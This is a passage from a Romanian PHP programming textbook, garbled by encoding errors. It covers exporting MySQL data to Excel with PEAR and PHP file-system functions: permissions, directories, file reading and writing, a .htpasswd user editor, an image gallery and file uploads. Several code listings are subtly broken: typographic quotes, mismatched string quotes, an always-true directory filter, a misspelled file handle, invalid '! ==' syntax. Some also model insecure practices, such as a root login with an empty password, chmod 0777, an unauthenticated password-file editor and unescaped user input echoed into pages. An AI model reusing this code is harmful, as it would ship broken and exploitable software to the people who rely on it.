fileformats.spreadsheet-excel-writer.php). Ea derivã din clasa Spreadsheet_Excel_
Writer_Workbook, moºtenindu-i proprietãþile ºi metodele. Dintre metode, douã sunt
foarte importante (vor fi utilizate ºi în exemplul pe care-l vom prezenta):
• addWorkSheet(). Aceastã metodã întoarce o instanþã a clasei Spreadsheet_
Excel_Writer_Worksheet . Scrierea în celulele unei foi de calcul Excel este
realizatã utilizând instanþa rezultatã;
• addFormat() . Aceastã metodã întoarce o instanþã a clasei Spreadsheet_Excel_
Writer_Format . Instanþa întoarsã de metodã permite formatarea celulelor foii de
calcul Excel.
Amintim cã un registru Excel (workbook) conþine una sau mai multe (implicit, trei)
foi de calcul (worksheets).
Datele sunt scrise în celulele foii de calcul utilizând metoda write() a clasei
Spreadsheet_Excel_Writer_Workbook :
write(int row, int column, string data [,object format])
Metoda scrie datele precizate prin data în celula ale cãrei coordonate sunt precizate
prin row (rândul) ºi column (coloana). Opþional, datele pot fi formatate utilizând al
patrulea parametru, format.
Formulele sunt introduse în foaia de calcul prin intermediul metodei writeFormula()
a clasei Spreadsheet_Excel_Writer_Workbook :
writeFormula(int row, int column, string formula,
object format)
Metoda introduce în celula situatã în rândul row ºi coloana column formula formula,
scrie în celulã rezultatul aplicãrii formulei ºi îl formateazã conform format.
În utilizarea funcþiilor write() ºi writeFormat() trebuie sã se þinã seama cã
într-o foaie de calcul Excel rândurile sunt numerotate începând cu 1, iar în
PEAR::Spreadsheet_Excel_Writer, începând cu 0. De asemenea, în foaia
de calcul Excel coloanele sunt precizate utilizând majuscule, începând cu A, iar în
PEAR::Spreadsheet_Excel_Writer, utilizând cifre, începând cu 0.
În listing-ul 2.5 este prezentat un script care realizeazã exportul datelor din tabelul
MySQL info (aceste date sunt ordonate descrescãtor dupã câmpul price) folosind pachetul
PEAR prezentat. În plus, datele sunt formatate (se pot stabili familia, culoarea, ºi
mãrimea fonturilor, înãlþimea rândurilor ºi lãþimea coloanelor etc.). De asemenea, se pot
adãuga date calculate: valoarea autoturismelor de un anumit tip (coloana valoare) ºi
valoarea totalã a maºinilor din stoc.
Salvaþi conþinutul scriptului 2.5 în fiºierul mysqltoexcel.php ºi executaþi-l (http://
127.0.0.1/database/mysqltoexcel.php).
PHP ªI BAZELE DE DATE 31

2.5. Fiºierul mysqltoexcel.php


<?php
require_once ”Spreadsheet/Excel/Writer.php”;
$host = ”localhost”;
$user = ”root”;
$password = ””;
$database = ”car”;
$header= array(); // Antet
$data=array(); // Date
mysql_connect($host,$user,$password)
or die(”Conexiunea nu a fost realizata”);
mysql_select_db($database)
or die(”Baza de date nu a fost selectata”);
$select = ”SELECT * FROM info ORDER BY price DESC”;
$export = mysql_query($select);
$fields = mysql_num_fields($export);
$rows= mysql_num_rows($export);
for ($i = 0; $i < $fields; $i++) {
$header[$i]= mysql_field_name($export,$i);
}
$header[]=”sum”;
for($i=0;$i<$rows;$i++) {
$row = mysql_fetch_row($export);
for($j=0;$j<$fields;$j++)
$data[$i][$j] = str_replace(’”’, ’””’,$row[$j]);
}
// Se creeaza un registru
$xls = & new Spreadsheet_Excel_Writer();
// Se creeaza o foaie de lucru
$cart =& $xls->addWorksheet(’stocuri’);
// Titlul foii de lucru
$titleText = ’Situatie stocuri (’.
date(”F j, Y, g:i a”).”)”;
// Se creeaza un obiect format
$titleFormat =& $xls->addFormat();
// Stabileste formatarea pentru titlu
$titleFormat->setFontFamily(’Verdana’);
$titleFormat->setBold();
$titleFormat->setSize(’15’);
$titleFormat->setColor(’blue’);
$titleFormat->setBottom(2);
$titleFormat->setBottomColor(’red’);
$titleFormat->setAlign(’merge’);
// Adauga titlul formatat in foaie
$cart->write(0,0,$titleText,$titleFormat);
// Sunt adaugate patru celule vide
32 PROGRAMAREA ÎN PHP

for($i=1;$i<=4;$i++)
$cart->write(0,$i,’’,$titleFormat);
// Inaltimea randului
$cart->setRow(0,40);
// Latimea coloanelor
$cart->setColumn(0,$fields-1,15);
// Stabileste formatarea pentru header
$headerFormat =& $xls->addFormat();
$headerFormat->setBold();
$headerFormat->setFontFamily(’Helvetica’);
$headerFormat->setBold();
$headerFormat->setSize(’10’);
$headerFormat->setColor(’red’);
$headerFormat->setAlign(’center’);
// Este adaugat header-ul (se lasa un rand liber dupa titlu)
$cart->writeRow(2,0,$header,$headerFormat);
// Se precizeaza randul curent
$currentRow = 4;
// Sunt adaugate datele
foreach ( $data as $item ) {
$cart->writeRow($currentRow,0,$item);
$excelRow = $currentRow + 1;
/* Se creeaza un sir PHP care contine o
formula de calcul */
$formula = ’=PRODUCT(C’.$excelRow .’:D’.$excelRow .’)’;
/* Formula creata anterior este adaugata la
randul curent, in coloana cu indicele 4 */
$cart->writeFormula($currentRow,4,$formula);
$currentRow++;
}
// Randul de pornire in Excel
$startExcelRow = 4;
// Randul final in Excel
$endExcelRow = $currentRow;
/* Se creeaza un sir care defineste formula Excel
pentru calculul sumei totale */
$totalFormula = ’= SUM(E’.$startExcelRow.
’:E’.$endExcelRow.’)’;
/* Se defineste formatarea pentru celula care va
contine totalul */
$totalFormat =& $xls->addFormat();
$totalFormat->setFontFamily(‘Verdana’);
$totalFormat->setBold();
$totalFormat->setTop(1);
$totalFormat->setBottom(1);
/* Se adauga textul Total inaintea celulei care va
PHP ªI BAZELE DE DATE 33

contine suma totala */


$cart->write($currentRow,3,’Total:’,$totalFormat);
// Se scrie suma totala in foaia de calcul
$cart->writeFormula($currentRow,4,$totalFormula,
$totalFormat);
// Continutul registrului este trimis browserului
$xls->send(”export.xls”);
$xls->close();
?>

În exemplul prezentat, nimic nu este scris pe server. Documentul creat este trimis
clientului prin intermediul browserului. Dacã doriþi ca datele exportate sã fie introduse
într-un fiºier Excel care va fi scris pe server, este necesar ca în scriptul anterior sã
precizaþi numele fiºierului ce va fi creat ºi sã nu trimiteþi datele browserului. Numele
fiºierului se precizeazã astfel:
$xls = & new Spreadsheet_Excel_Writer();

Pentru ca documentul rezultat sã nu mai fie trimis browserului, comentaþi sau


eliminaþi penultima linie a scriptului ($xls->send(”export.xls”);). Pro-
babil va fi necesar sã modificaþi permisiunile directorului în care veþi stoca
fiºierul, astfel încît PHP sã poatã scrie în directorul respectiv.

afiºate dupã executarea codului din listing-ul 2.5

Exportaþi date din


MySQL în Excel folosind
pachetul PEAR::
Spreadsheet_Excel_Write
34 PROGRAMAREA ÎN PHP

CAPITOLUL 3

PHP ºi sistemul de fiºiere


„Este de ajuns sã priveºti un lucru cu atenþie
pentru ca el sã devinã interesant.”
Eugenio d’Ors

În acest capitol sunt prezentate o parte dintre funcþiile PHP pentru


accesul la sistemul de directoare ºi fiºiere, precum ºi aplicaþii care
utilizeazã aceste funcþii (galerie de imagini, încãrcarea fiºiere-
lor pe server ºi afiºarea recursivã a directoarelor ºi fiºierelor).

PHP include numeroase funcþii dedicate interacþiunii cu sistemul de fiºiere al serve-


rului. Cu toate acestea, trebuie sã reþineþi cã utilizarea acestor funcþii poate da rezultatele
aºteptate numai dacã existã permisiuni de acces corespunzãtoare. PHP (care interpreteazã
ºi executã scripturile scrise de dumneavoastrã) este executat într-un cont de utilizator cu
drepturi de acces reduse (care, uneori, poartã numele nobody), acesta nefiind contul sub
care utilizatorul are acces FTP sau acces direct la directoarele ºi fiºierele al cãror
proprietar este. De asemenea, reþineþi cã unele funcþii utilizate pentru lucrul cu fiºiere ºi
directoare nu pot fi folosite pe platforme Windows!

Modificarea drepturilor de acces ale directoarelor ºi


fiºierelor
Pentru a putea folosi unele funcþii PHP pentru lucrul cu fiºiere ºi directoare, este posibil
sã fiþi nevoiþi sã modificaþi drepturile lor de acces. Puteþi realiza acest lucru folosind
posibilitãþile oferite de un client FTP, ocolind astfel utilizarea PHP.
Modificarea drepturilor de acces ale directoarelor ºi fiºierelor se face în PHP prin
utilizarea funcþiei chmod(). Pentru a putea folosi aceastã funcþie este necesar ca PHP sã
ruleze sub contul proprietarului directorului/fiºierului respectiv astfel încât funcþia
chmod() sã se execute. În caz contrar, se obþine un mesaj de eroare.
În continuare, este prezentat prototipul funcþiei chmod():
bool chmod(string filename,int mode)
Funcþia chmod() acordã fiºierului filename drepturile precizate prin numãrul întreg
mode, specificat în sistemul de numeraþie octal. Din acest motiv, el trebuie prefixat cu
PHP ªI SISTEMUL DE FIªIERE 35

caracterul 0 (zero). Numãrul mode este alcãtuit din trei cifre care corespund, în ordine,
proprietarului, grupului din care face parte proprietarul ºi celorlalþi utilizatori. Fiecare
dintre cele trei cifre se obþine prin însumarea a trei numere care corespund celor trei
drepturi posibile: 4 înseamnã cã fiºierul filename poate fi citit, 2 – cã se poate scrie
în el, iar 1 – cã poate fi executat de utilizatorul respectiv. Valorile posibile ale oricãreia
dintre cifrele numãrului mode sunt 1 , 2, 3, 4, 5, 6 ºi 7. Funcþia chmod() întoarce
valoarea logicã TRUE în caz de succes ºi valoarea FALSE în caz de insucces. Aceastã
funcþie nu poate lucra cu fiºiere aflate la distanþã. De asemenea, nu poate fi utilizatã pe
platformã Windows.
Iatã un exemplu în care se foloseºte funcþia chmod() :
chmod(”/home/mihai/test.php”,0777)

Operaþii cu fiºiere ºi directoare


În aceastã secþiune vom prezenta funcþii utilizate pentru operaþii cu directoare ºi fiºiere,
precum ºi exemple de cod PHP care le folosesc. Trebuie sã þineþi seama de faptul cã
aceste funcþii pot fi utilizate numai dacã existã drepturi de acces corespunzãtoare.

Crearea ºi ºtergerea directoarelor


Puteþi crea directoare prin intermediul scripturilor PHP utilizând funcþia mkdir(), al
cãrei prototip este:
bool mkdir (string pathname [, int mode])
Funcþia creeazã directorul pathname. Argumentul mode specificã (în octal) drepturile
de acces ale directorului, valoarea implicitã fiind 0777. Funcþia întoarce TRUE în caz de
succes ºi FALSE în caz contrar. Iatã un exemplu de utilizare a funcþiei mkdir() :
<?php
if(!file_exists(”/home/mysite/public_html/test”)) {
  if(mkdir(”/home/mysite/public_html/test”,0707)) {
}
else {
echo ”<p>Eroare la crearea directorului.</p>”;
}
}
?>
Puteþi ºterge directoare prin intermediul scripturilor PHP utilizând funcþia rmdir() ,
al cãrei prototip este:
bool rmdir (string dirname)
Funcþia ºterge directorul specificat prin dirname. Iatã un exemplu de utilizare a
acestei funcþii:
<?php
if(file_exists(”/home/mysite/public_html/test”)) {
36 PROGRAMAREA ÎN PHP

  if(!rmdir(”/home/mysite/public_html/test”)) {
echo ”<p>Eroare la stergerea directorului.</p>”;
}
}
?>

Deschiderea, citirea ºi închiderea directoarelor


În scriptul urmãtor, directorul test este deschis, conþinutul sãu este încãrcat într-o listã
derulantã ºi apoi directorul este închis:
<select name=”filenames”>
<?php
$directory = ”/home/mysite/public_html/test”;
$dirhandle = opendir($directory);
  while($filename = readdir($dirhandle)) {
    if(($filename != ”.”) OR ($filename != ”..”)) {
      echo ”<option value=\”$filename\”>$filename</option>”;
    }
  }
closedir($dirhandle);
?>
</select>
Pentru deschiderea unui director se utilizeazã funcþia opendir(), al cãrei prototip
este urmãtorul:
resource opendir (string path)
Funcþia opendir() întoarce un identificator de fiºier în caz de succes ºi FALSE în
caz de eroare. Pentru citirea unui director se utilizeazã funcþia readdir(), al cãrei
prototip este:
string readdir (resource dir_handle)
Funcþia readdir() întoarce numele urmãtorului fiºier al directorului specificat prin
identificatorul dir_handle. Numele fiºierelor sunt întoarse în ordinea în care ele sunt
stocate în director. În caz de insucces, funcþia întoarce FALSE . Pentru închiderea unui
director se utilizeazã funcþia closedir(), al cãrei prototip este:
void closedir (resource dir_handle)
Funcþia closedir() închide directorul specificat prin identificatorul dir_handle
(deschis anterior cu opendir()).
Alte funcþii utilizate pentru lucrul cu directoare sunt: getcwd() (întoarce directorul
curent) ºi chdir() (schimbã directorul curent).
PHP ªI SISTEMUL DE FIªIERE 37

Deschiderea, citirea ºi închiderea fiºierelor


În exemplul urmãtor, fiºierul friends.txt este deschis, citit ºi apoi închis:
<?php
$file_directory = ’/usr/home/mysite’;
if($filehandle = fopen(”$file_directory/friends.txt”, ”r”))
{
while(!feof($filehandle)){
$file_contents[] = fgets($file_handle, 255);
}
fclose($filehandle);
} else {
echo ”Fisierul nu poate fi deschis.’;
}
?>
Pentru deschiderea unui fiºier se utilizeazã funcþia fopen(), al cãrei prototip este
prezentat în continuare:
int fopen(string filename,string mode[,int use_include_path])
Funcþia fopen() deschide fiºierul local filename, cu condiþia ca acest fiºier sã aibã
permisiunile corespunzãtoare (i.e., sã fie accesibil pentru PHP). Pot fi deschise ºi fiºiere
aflate la distanþã, dacã filename reprezintã un URL (în acest caz, este necesar ca
directiva allow_url_fopen sã aibã valoarea On în fiºierul de configurare php.ini). În caz
de succes, funcþia întoarce un numãr întreg numit identificator de fiºier, care va fi utilizat
de celelalte funcþii pentru lucrul cu fiºiere, în scopul identificãrii fiºierului deschis. Acestuia
din urmã i se asociazã un pointer care indicã adresa de memorie a octetului unde va fi
executatã urmãtoarea operaþie. În caz de insucces, funcþia fopen() întoarce 0 .
Argumentul mode, care precizeazã modul de deschidere a fiºierului ºi determinã
valoarea iniþialã a pointerului asociat acestuia, poate avea valorile:
• r – fiºierul este deschis pentru citire ºi pointerul de fiºier indicã începutul acestuia;
• r+ – fiºierul este deschis pentru citire ºi scriere, iar pointerul de fiºier indicã
începutul acestuia;
• w – fiºierul este deschis numai pentru scriere, lungimea fiºierului este stabilitã la zero
(i.e., conþinutul fiºierului este ºters) ºi pointerul de fiºier indicã începutul acestuia.
Dacã nu existã, fiºierul va fi creat;
• w+ – fiºierul este deschis pentru citire ºi scriere, lungimea fiºierului este stabilitã la
zero (conþinutul fiºierului este ºters) ºi pointerul de fiºier indicã începutul acestuia.
Dacã nu existã, fiºierul va fi creat;
• a – fiºierul este deschis numai pentru scriere iar pointerul de fiºier indicã sfârºitul
fiºierului. Dacã nu existã, fiºierul va fi creat;
• a+ – fiºierul este deschis pentru citire ºi scriere, iar pointerul de fiºier indicã sfârºitul
acestuia. Dacã nu existã, fiºierul va fi creat.
• b – aceastã valoare trebuie adaugatã suplimentar (la una dintre cele precizate anterior),
pe prima poziþie, în cazul deschiderii fiºierelor binare, pe platforme Windows. Din
38 PROGRAMAREA ÎN PHP

acest motiv, în cazul deschiderii fiºierelor binare Windows, trebuie sã precizaþi doi
parametri (e.g., wb). În consecinþã, pentru a face scripturile dumneavoastrã portabile
pe platforme Windows, este înþelept sã utilizaþi modificatorul b, chiar dacã, iniþial,
scrieþi cod pentru o platformã UNIX/Linux, deoarece pe aceastã platformã modi-
ficatorul nu are nici un efect.
Al treilea argument (use_include_path ) este opþional. El poate avea numai
valoarea 1 ºi, dacã este prezent, indicã PHP-ului sã caute fiºierul într-o listã de directoare,
precizatã în fiºierul php.ini ca valoare a directivei include_path (cale de includere).
În exemplul anterior, pentru citirea fiºierului se utilizeazã funcþia fgets(), al cãrei
prototip este:
string fgets(int handle [,int length])
Funcþia citeºte o linie de text; handle este identificatorul de fiºier întors de funcþia
fopen(), iar length indicã numãrul maxim de octeþi care vor fi citiþi, minus unul
(acesta corespunde caracterului de terminare a liniei). În caz de succes, funcþia fgets()
întoarce un ºir, iar în caz de eroare, întoarce valoarea logicã FALSE. Dacã programatorul
nu precizeazã argumentul length, se utilizeazã valoarea implicitã, care este de 1.024 de
octeþi.
Este important de reþinut cã PHP alocã un spaþiu de memorie de length octeþi
înainte de a citi fiºierul. Acest lucru înseamnã cã se vor aloca 1.000.000 de
octeþi (aproximativ 1 MB) chiar dacã o linie a fiºierului are numai câteva
caractere. Rezultã cã argumentul length trebuie ales cu atenþie, astfel încât sã nu se
consume resurse în mod inutil.
Pentru închiderea unui fiºier se utilizeazã funcþia fclose(), al cãrei prototip este
urmãtorul:
bool fclose (resource handle)
Funcþia fclose() încearcã sã închidã fiºierul specificat prin identificatorul handle.
În caz de succes, întoarce TRUE, iar în caz de insucces, întoarce FALSE .
În exemplul prezentat anterior este utilizatã funcþia feof(), care testeazã dacã s-a
ajuns la sfârºitul fiºierului. Prototipul acestei funcþii este:
int feof(int handle)
Funcþia feof() întoarce valoarea logicã TRUE dacã pointerul de fiºier este la sfârºitul
fiºierului al cãrui identificator este handle sau dacã a apãrut o eroare ºi valoarea logicã
FALSE în caz contrar.
Pentru citirea fiºierelor mai poate fi utilizatã funcþia fread(), al cãrei prototip este
precizat în continuare:
string fread(int handle, int length)
Funcþia fread() citeºte din fiºierul precizat prin identificatorul handle ºi întoarce
sub formã de ºir un numãr maxim de octeþi specificat prin length. Dacã înainte de
parcurgerea celor length octeþi este întâlnit indicatorul de sfârºit de fiºier (end of file),
operaþia de citire se încheie.
De asemenea, pentru citirea fiºierelor mai poate fi utilizatã funcþia file(), al cãrei
prototip este:
PHP ªI SISTEMUL DE FIªIERE 39

array file (string filename [, int use_include_path])


Funcþia file() întoarce într-un tablou conþinutul fiºierului filename, transmis ca
argument. Fiecare element al tabloului întors conþine un rând al fiºierului. Dacã este
inclus argumentul use_include_path (a cãrei singurã valoare este 1), fiºierul filename
va fi cãutat ºi în directorul specificat prin directiva include_path în php.ini. În caz de
insucces, funcþia file() întoarce FALSE.

Scrierea în fiºiere
Pentru scrierea în fiºiere se utilizeazã funcþia fwrite() (puteþi utiliza ºi fputs(), care
este un alias pentru fwrite()):
int fwrite(int handle,string string [,int length])
Funcþia fwrite() scrie în fiºierul precizat prin identificatorul handle conþinutul
ºirului string. Dacã argumentul opþional length este furnizat funcþiei, scrierea se
opreºte dupã ce a fost scris un numãr de octeþi egal cu length, chiar dacã lungimea
ºirului string este mai mare. În caz de succes, funcþia întoarce numãrul de octeþi scriºi
în fiºier, iar în caz de eroare, –1.
Creaþi în directorul-rãdãcinã al sitului Web un subdirector – pe care îl puteþi denumi
files – unde veþi salva fiºierele ce conþin scripturile prezentate în acest capitol.
În listing-ul 3.1 este prezentat un script care oferã posibilitatea adãugãrii ºi, respectiv,
ºtergerii unor rânduri în fiºierul .htpasswd:
3.1. Fiºierul fileop.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Citirea si scrierea in fisiere</title>
</head>
<body>
<?php
$file_directory = ’/usr/home/mysite’;
$error = ’Fisierul nu a putut fi deschis.’;
$file_contents = file($file_directory.”/.htpasswd”);
sort($file_contents);
$sizeof = count($file_contents);
if ($_POST[’action’] == ”add”) {
if($filehandle = fopen($file_directory.”/.htpasswd”,”a”)){
$encrypted_pass = crypt($_POST[’pwd’]);
fputs($filehandle, $_POST[’user’] . ”:” .
$encrypted_pass .”\n”);
fclose($filehandle);
echo ”Utilizatorul <b>” . $_POST[’user’] .
”</b> a fost adaugat.”;
} else {
40 PROGRAMAREA ÎN PHP

echo($error);
}
}
if ($_POST[’action’] == ”delete”) {
if($filehandle = fopen(”$file_directory/.htpasswd”,”w”)) {
for($i=0; $i < $sizeof; $i++) {
if($file_contents[$i] != $_POST[’todelete’]) {
fputs($filehandle, $file_contents[$i]);
}else {
$flag = 1; }
}
fclose($filehandle);
if($flag) {
echo ”Utilizatorul <b>” . $_POST[’todelete’] .
”</b> a fost sters.”;
} else {
echo ”Utilizatorul ” . $_POST[’todelete’] .
” nu a putut fi sters.”;
}
} else {
echo($error);
}
}
$file_contents = file($file_directory.”/.htpasswd”);
sort($file_contents);
$sizeof = count($file_contents);
?>
<form method=”post”
action=”<?php echo $_SERVER[’PHP_SELF’]; ?>”>
<input type=”hidden” name=”action” value=”delete” />
<table cellpadding=”5”>
<tr>
<td><select name=”todelete”>
<?php
for($i=0; $i < $sizeof; $i++) {
$user = explode(”:”, $file_contents[$i]);
echo ”<option value=\”$file_contents[$i]\”>$user[0]
</option>”;
}
?>
</select></td>
<td><input type=”submit” value=”Sterge” /></td>
</tr></table>
</form>
<form method=”post”
action=”<?php echo $_SERVER[’PHP_SELF’]; ?>”>
PHP ªI SISTEMUL DE FIªIERE 41

<input type=”hidden” value=”add” name=”action” />


<table cellpadding=”5”>
<tr><td>
<table>
<tr>
<td>Nume</td>
<td><input type=”text” name=”user”
size=”20” /></td>
</tr>
<tr>
<td>Parola</td>
<td><input type=”password” name=”pwd”
size=”20” /></td>
</tr>
</table>
</td>
<td><input type=”submit” value=”Adauga” /></td>
</tr>
</table>
</form>
</body>
</html>

Funcþia count() , utilizatã în scriptul prezentat, întoarce numãrul elementelor varia-


bilei transmise ca argument. În mod obiºnuit, aceastã variabilã este un tablou. În caz
contrar, valoarea întoarsã (numãrul elementelor) este 1 , cu excepþia situaþiei în care
argumentul este NULL (în acest caz, count(NULL) întoarce valoarea 0 ).
Funcþia sort(), de asemenea utilizatã în scriptul prezentat, sorteazã tabloul array
transmis ca argument. Prototipul funcþiei este:
void sort (array array [, int sort_flags])
Parametrul sort_flags permite modificarea comportamentului funcþiei. Acesta
poate avea urmãtoarele valori:
• SORT_REGULAR (comparã elementele normal);
• SORT_NUMERIC (comparã elementele din punct de vedere numeric);
• SORT_STRING (comparã elementele considerându-le ºiruri).
Funcþia crypt() întoarce un ºir criptat pe baza algoritmului UNIX DES sau a altui
algoritm valabil în sistem (e.g., MD5).

Fiºiere temporare
Pentru a crea fiºiere temporare trebuie sã utilizaþi funcþia tmpfile(), al cãrei prototip este:
resource tmpfile(void)
Funcþia creeazã un fiºier temporar (având un nume generat aleatoriu) în directorul
curent ºi îl deschide pentru scriere. Acest fiºier va fi închis ºi ºters odatã cu utilizarea
42 PROGRAMAREA ÎN PHP

funcþiei fclose() sau la încheierea execuþiei scriptului. Iatã un exemplu de utilizare a


funcþiei:
<?php
$tmp = tmpfile();
fwrite($tmp, ’temporary data’);
fclose($tmp);
?>
Funcþia tempnam() creeazã un fiºier temporar care nu va fi ºters automat odatã cu
utilizarea funcþiei fclose() sau la încheierea execuþiei scriptului:
string tempnam (string dir, string prefix)
Argumentul dir specificã directorul în care va fi creat fiºierul temporar, iar prefix
este prefixul care va fi adãugat la numele generat aleatoriu de PHP.
Iatã un exemplu de utilizare a funcþiei:
<?php
$tempfname = tempnam(’/tmp’, ’tmpf’);
$fh = fopen($tempfname, ’w’);
fwrite($fh, ’temporary data’);
fclose($fh);
unlink($tempfname);
?>
Dupã cum puteþi observa în secvenþa anterioarã de cod, pentru ºtergerea fiºierului
este necesar sã utilizaþi funcþia unlink().

Realizarea unei galerii de imagini


Vã prezentãm o aplicaþie simplã (listing-ul 3.2) care permite afiºarea imaginilor existente
într-un director.
3.2. Fiºierul photos.php
<?php
$extension = array(”gif”,”jpg”,”png”);
$photodir = getcwd().”/photo/”;
if (is_dir($photodir)) {
if($dh = opendir($photodir)) {
while (($file = readdir($dh))! == false) {
$ext=strtolower(substr($file,-3));
if(array_search($ext,$extension))
$photos[] = $file;
}
closedir($dh);
}
}
$number = count($photos);
PHP ªI SISTEMUL DE FIªIERE 43

if($number > 0) {
echo ”<p style=’text-align: center; font-size: 24px’>
Directorul conþine: ”.$number.” fotografii</p>”;
echo ”<table align=\”center\” cellpadding=\”5\”>”;
for($i=0;$i<$number;$i++){
$file=$photodir.$photos[$i];
if($i%2 == 0)
echo ”<tr><td><img src=\”$file\” /></td>”;
else
echo ”<td><img src=\”$file\” /></td></tr>”;
}
echo ”</table>”;
}
else echo ”<p style=’text-align: center’>
Nu sunt fotografii!</p>”;
?>

În listing-ul prezentat anterior, funcþia getcwd() întoarce directorul curent de lucru


(i.e., directorul în care se gãseºte scriptul). Sunt cãutate – în subdirectorul photo al
directorului curent – fiºierele care au una dintre extensiile gif, jpg ºi png. Numele
acestor fiºiere (cãile lor absolute) sunt stocate în tabloul $photos ºi, ulterior, afiºate
(câte douã pe un rând). Salvaþi scriptul în fiºierul photos.php ºi executaþi-l (http://
127.0.0.1/files/photos.php).
afiºate dupã executarea codului din listing-ul 3.2
44 PROGRAMAREA ÎN PHP

Încãrcarea fiºierelor pe server


PHP oferã posibilitatea încãrcãrii fiºierelor utilizatorului pe server (upload) utilizând
protocolul HTTP. Este necesar ca directiva file_uploads sã aibã valoarea On în fiºierul de
configurare php.ini. În listing-ul 3.3 puteþi analiza un script prin intermediul cãruia
utilizatorul poate realiza operaþia de upload. Salvaþi scriptul respectiv în fiºierul upload.php
ºi executaþi-l (http://127.0.0.1/files/upload.php).
3.3. Fiºierul upload.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Incarcarea fisierelor pe server</title>
</head>
<body>
<?php
if(isset($_POST[’submit’])) {
if($_FILES[’file’][’error’] == 0){
echo ”Fisierul a fost incarcat!<br />
Numele fisierului incarcat: ”.
$_FILES[’file’][’name’].”<br />
Tipul MIME al fisierului trimis: ”.
$_FILES[’file’][’type’].”<br />
Marimea fisierului trimis: ”.
$_FILES[’file’][’size’].” octeti<br />
Numele fisierului temporar: ”.
$_FILES[’file’][’tmp_name’].”<br />”;
}
else {
$error = array(
1=>”Fisierul este prea mare!”,
2=>”Fisierul este prea mare!
Alegeti un fisier mai mic decat ”.
$_POST[’max_file_size’],
3=>”Fisierul a fost incarcat partial!”,
4=>”Fisierul nu a fost incarcat”);
echo ”A aparut o eroare: ”.
$error[$_FILES[’file’][’error’]].”<br />”;
}
echo ”<a href=’”.$_SERVER[’PHP_SELF’].
”’>Incarca alta imagine</a>”;
}
else{
PHP ªI SISTEMUL DE FIªIERE 45

?>
<form method=”post”
action=”<?php echo $_SERVER[’PHP_SELF’]; ?>”
enctype=”multipart/form-data”>
<input type=”hidden” name=”max_file_size” value=”10000” />
<table border=”0” cellspacing=”0” cellpadding=”5”>
<tr>
<td>Fisier: </td>
<td><input type=”file” name=”file” /></td>
</tr>
<tr>
<td colspan=”2”><input type=”submit”
name=”submit” value=”Trimite” /></td>
</tr>
</table>
</form>
<?php
}
?>
</body>
</html>

Pot fi încãrcate atât fiºiere text, cât ºi fiºiere binare. Dupã cum puteþi constata în
scriptul conþinut în listing-ul 3.3, pentru a se putea realiza transmiterea fiºierului la
server, trebuie ca atributele enctype ºi method ale elementului form sã aibã valorile
multipart/form-data ºi, respectiv, post.

afiºate dupã executarea codului din listing-ul 3.3

Tot în scriptul inclus în listing-ul 3.3 se poate constata cã formularul XHTML conþine
urmãtoarele trei elemente:
• un element input de tip hidden, al cãrui atribut name are ca valoare directiva
max_file_size (care indicã browserului dimensiunea maximã permisã, exprimatã
în bytes, a fiºierelor care vor fi trimise serverului; în exemplul anterior, valoarea
directivei este 10.000; reþineþi cã aceasta nu poate depãºi valoarea directivei
46 PROGRAMAREA ÎN PHP

upload_max_filesize din fiºierul de configurare php.ini, care, implicit, este de


2 MB);
• un element input de tip file, al cãrui atribut name are valoarea file; în acest câmp
se introduce, manual sau prin intermediul butonului Browse care însoþeºte acest
câmp, URL-ul fiºierului ce va fi trimis serverului;
• un element input de tip buton submit, utilizat pentru transmiterea conþinutului
formularului cãtre server.
În cazul în care directiva register_globals are valoarea Off în fiºierul de configurare
php.ini, datele trimise de client serverului se vor regãsi în câteva variabile PHP pre-
definite. Astfel, numele butonului de tip submit va fi dat de $_POST[’name’] (în care
name este valoarea atributului name al elementului de tip submit din formularul de
încãrcare), iar informaþiile despre fiºierul încãrcat pe server vor fi stocate (începând cu
versiunea PHP 4.1.0) în tabloul $_FILES[’filename’], unde filename este numele
utilizat în formular pentru fiºier (acest nume este ales de programator ºi poate fi oricare).
Tabloul $_FILES[’filename’] are cinci elemente:
• $_FILES[’filename’][’name’], care conþine numele original al fiºierului pe
calculatorul clientului;
• $_FILES[’filename’][’size’], care conþine mãrimea (în octeþi) a fiºierului
încãrcat pe server;
• $_FILES[’filename’][’type’], care conþine tipul MIME al fiºierului (numai
dacã browserul furnizeazã aceastã informaþie serverului Web);
• $_FILES[’filename’][’error’] , care conþine un cod de eroare (având ca valori
posibile numerele întregi de la 0 la 4), generat în urma încãrcãrii fiºierului;
• $_FILES[’filename’][’tmp_name’] , care conþine numele fiºierului temporar
încãrcat pe server.
Începând cu versiunea PHP 4.2.0, în urma încãrcãrii unui fiºier pe server sunt
generate coduri numerice de eroare conþinute în elementul error al tabloului
$_FILES[’filename’]. Odatã cu versiunea PHP 4.3.0 sunt introduse ºi con-
stante predefinite asociate acestor coduri numerice. În continuare sunt precizate aceste
constante ºi, între paranteze, codurile numerice corespunzãtoare:
• UPLOAD_ERR_OK (0 ); semnificaþie: nu a fost generatã nici o eroare;
• UPLOAD_ERR_INI (1); semnificaþie: dimensiunea fiºierului pe care utilizatorul
doreºte sã-l încarce pe server este mai mare decât valoarea maximã permisã în fiºierul
de configurare php.ini prin directiva upload_max_filesize;
• UPLOAD_ERR_FORM_SIZE (2); semnificaþie: dimensiunea fiºierului pe care utili-
zatorul doreºte sã-l încarce pe server este mai mare decât valoarea indicatã prin
directiva max_file_size;
• UPLOAD_ERR_PARTIAL (3); semnificaþie: fiºierul a fost încãrcat parþial pe server;
• UPLOAD_ERR_NO_FILE (4 ); semnificaþie: fiºierul nu a fost încãrcat pe server.
Dacã directiva register_globals are valoarea On, informaþiile despre fiºierul
încãrcat pe server pot fi gãsite atât în tabloul $_FILES[’filename’], cât ºi în
variabilele urmãtoare: $filename_name, $filename_size, $filename_type,
$filename_error ºi $filename_tmp_name .
Fiºierele încãrcate pe server vor fi stocate temporar într-un director implicit (e.g.,
C:\Windows\TEMP pe platformele Windows ºi /tmp pe platformele Linux), exceptând
PHP ªI SISTEMUL DE FIªIERE 47

situaþia în care este precizat un anumit director (ca valoare a directivei upload_tmp_dir în
php.ini). Directorul implicit în care sunt stocate fiºierele încãrcate pe server poate fi
schimbat prin setarea corespunzãtoare a variabilei TMPDIR în mediul în care se executã
PHP.
Pentru a pãstra fiºierelor încãrcate pe discul fix al serverului, acestea trebuie copiate
